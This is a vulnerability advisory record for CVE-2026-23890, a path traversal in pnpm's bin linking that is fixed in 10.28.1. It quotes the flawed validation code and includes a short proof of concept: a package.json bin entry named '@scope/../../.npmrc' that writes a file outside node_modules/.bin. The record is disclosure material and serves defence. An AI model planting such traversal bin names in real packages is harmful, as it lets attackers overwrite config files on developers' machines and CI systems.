{"id":"CVE-2026-23890","aliases":["GHSA-xpqm-wm3m-f34h"],"url":"https://o3.security/vulnerability/CVE-2026-23890","summary":"pnpm scoped bin name Path Traversal allows arbitrary file creation outside node_modules/.bin","details":"### Summary\nA path traversal vulnerability in pnpm's bin linking allows malicious npm packages to create executable shims or symlinks outside of `node_modules/.bin`. Bin names starting with `@` bypass validation, and after scope normalization, path traversal sequences like `../../` remain intact.\n\n### Details\nThe vulnerability exists in the bin name validation and normalization logic:\n\n**1. Validation Bypass (`pkg-manager/package-bins/src/index.ts`)**\n\nThe filter allows any bin name starting with `@` to pass through without validation:\n\n```typescript\n.filter((commandName) =>\n  encodeURIComponent(commandName) === commandName ||\n  commandName === '' ||\n  commandName[0] === '@'  // <-- Bypasses validation\n)\n```\n\n**2. Incomplete Normalization (`pkg-manager/package-bins/src/index.ts`)**\n\n```typescript\nfunction normalizeBinName (name: string): string {\n  return name[0] === '@' ? name.slice(name.indexOf('/') + 1) : name\n}\n// Input:  @scope/../../evil\n// Output: ../../evil  <-- Path traversal preserved!\n```\n\n**3. Exploitation (`pkg-manager/link-bins/src/index.ts:288`)**\n\nThe normalized name is used directly in `path.join()` without validation.\n\n### PoC\n1. Create a malicious package:\n```json\n{\n  \"name\": \"malicious-pkg\",\n  \"version\": \"1.0.0\",\n  \"bin\": {\n    \"@scope/../../.npmrc\": \"./malicious.js\"\n  }\n}\n```\n\n2. Install the package:\n```bash\npnpm add /path/to/malicious-pkg\n```\n\n3. Observe `.npmrc` created in project root (outside node_modules/.bin).\n\n### Impact\n- All pnpm users who install npm packages\n- CI/CD pipelines using pnpm\n- Can overwrite config files, scripts, or other sensitive files\n\nVerified on pnpm main @ commit 5a0ed1d45.","published":"2026-01-26T21:53:40.810Z","modified":"2026-08-12T03:51:34.096757590Z","cvss":{"score":6.5,"severity":"MEDIUM","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N"},"epss":{"score":0.00438,"percentile":0.36271,"asOf":"2026-08-24"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"npm","name":"pnpm","fixedVersion":"10.28.1"}],"fix":{"url":"https://github.com/pnpm/pnpm/commit/8afbb1598445d37985d91fda18abb4795ae5062d","label":"pnpm/pnpm@8afbb15"},"references":[{"type":"WEB","url":"https://github.com/pnpm/pnpm/releases/tag/v10.28.1"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/23xxx/CVE-2026-23890.json"},{"type":"ADVISORY","url":"https://github.com/pnpm/pnpm/security/advisories/GHSA-xpqm-wm3m-f34h"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-23890"},{"type":"FIX","url":"https://github.com/pnpm/pnpm/commit/8afbb1598445d37985d91fda18abb4795ae5062d"},{"type":"PACKAGE","url":"https://github.com/pnpm/pnpm"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:34.096757590Z"}}